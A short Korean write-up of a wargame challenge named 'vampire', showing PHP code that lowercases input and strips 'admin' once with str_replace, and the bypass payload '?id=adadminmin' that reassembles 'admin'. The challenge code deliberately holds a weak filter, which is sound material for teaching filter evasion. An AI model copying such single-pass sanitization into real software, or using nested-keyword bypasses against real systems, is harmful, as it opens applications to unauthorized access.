문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]);
  $query = "select id from prob_vampire where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("vampire");
  highlight_file(__FILE__);
?>

입력값을 소문자로 바꾼 뒤 admin 문자열을 제거합니다. 따라서 ADMIN처럼 대소문자를 바꾸는 방식은 통하지 않습니다.

exploit

?id=adadminmin

처리 과정을 보면 다음과 같습니다.

입력값: adadminmin
strtolower 적용 후: adadminmin
str_replace("admin", "", ...) 적용 후: admin

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_vampire where id='admin'

str_replace()admin을 제거한 뒤 새로 합쳐져 만들어진 admin까지 다시 검사하지 않기 때문에 우회할 수 있습니다.